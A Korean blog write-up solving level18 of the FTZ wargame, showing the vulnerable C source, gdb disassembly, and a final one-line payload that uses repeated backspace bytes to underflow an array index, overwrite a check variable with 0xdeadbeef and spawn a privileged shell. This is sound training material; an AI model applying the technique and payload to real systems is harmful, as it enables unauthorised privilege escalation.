Pwnable/FTZ

[FTZ] level18 문제 풀이!!!

RootJJang 2022. 5. 13. 00:38
SMALL

source code check!

 

[level18@ftz level18]$ cat hint

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);

          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}

void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}

왐마 뭐 이리 기냐

 

핵심 부분만 살펴보죠

 

void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}

쉘을 실행시키는 함수가 있네요

 

 if(check == 0xdeadbeef)
        shellout();

check가 0xdeadbeef이면 shellout() 함수를 실행시켜 쉘을 띄우네요

 

얘가 뽀인트인 것 같습니다

 

else

        {

          FD_ZERO(&fds);

          FD_SET(STDIN_FILENO,&fds);



          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)

            {

              if(FD_ISSET(fileno(stdin),&fds))

                {

                  read(fileno(stdin),&x,1);

정확히 뭘 말인지는 몰라도 마지막 코드에 read로 입력값을 1바이트만큼 가져온다네요

 

아마 저기서 bof를 일으켜야 할 것 같습니다

 

switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }

입력 받은 값이 '\r', '\n'이면 \a를 출력, 0x08이면 count의 값을 1 감소시키고, 나머지 값들을 string 배열에 하나씩 늘려가면서 저장이 되네요

 

음 이 문제를 어떻게 풀어야 할지 감이 안 잡혀서 gdb로 분석해봅니당

 

옹 check가 ebp-104에 있네요

 

0x0804870c <main+444>:  cmp    DWORD PTR [ebp-252],0x8
0x08048713 <main+451>:  je     0x8048731 <main+481>
0x08048715 <main+453>:  jmp    0x8048743 <main+499>
0x08048717 <main+455>:  cmp    DWORD PTR [ebp-252],0xd
0x0804871e <main+462>:  je     0x8048722 <main+466>
0x08048720 <main+464>:  jmp    0x8048743 <main+499>
0x08048722 <main+466>:  push   0x8048831
0x08048727 <main+471>:  call   0x8048470 <printf>
0x0804872c <main+476>:  add    esp,0x4
0x0804872f <main+479>:  jmp    0x8048770 <main+544>
0x08048731 <main+481>:  dec    DWORD PTR [ebp-112]
0x08048734 <main+484>:  push   0x8048833
0x08048739 <main+489>:  call   0x8048470 <printf>
0x0804873e <main+494>:  add    esp,0x4
0x08048741 <main+497>:  jmp    0x8048770 <main+544>
0x08048743 <main+499>:  lea    eax,[ebp-100]

보면 main+444에서 0x8과 비교하는데 이 부분이 case 0x08인 걸 알 수 있습니다

 

그 후 같지 않다면 main+499에서 ebp-100에 있는 값을 eax에 넣어주는데 이때 ebp-100에 위치한 값이 string인 걸 알 수 있습니다

 

스택 구조상 string이 check보다 먼저 선언돼서 더 높은 주소에 위치해 있어 일반적인 bof를 사용할 수 없습니다

 

근데 아까 입력값이 0x08이면 count의 값이 -1씩 감소한다고 했습니다

 

그렇다면 0x08을 4번 넣어주면 string[-4]가 되면서 ebp-100이었던 string의 주소가 ebp-104(check)가 되어 0xdeadbeef를 입력해줄 수 있는 구조가 됩니다

 

이제 페이로드를 짜보겠습니다

 

Payload = 0x08*4 + 0xdeadbeef

 

최종 페이로드 = (python -c 'print "\x08"*4 + "\xef\xbe\xad\xde"'; cat) | ./attackme

 

이번 문제를 풀면서 스택의 구조를 다시 공부해봐야겠다는 생각이 들었다

LIST

'Pwnable > FTZ' 카테고리의 다른 글

[FTZ] level19 문제 풀이!  (0) 2022.05.13
[FTZ] level17 풀이!!!  (0) 2022.05.12
[FTZ] level16 풀이!!  (0) 2022.05.12
[FTZ] level15 풀이!!  (2) 2022.05.11
[FTZ] level14 풀이!!  (1) 2022.05.10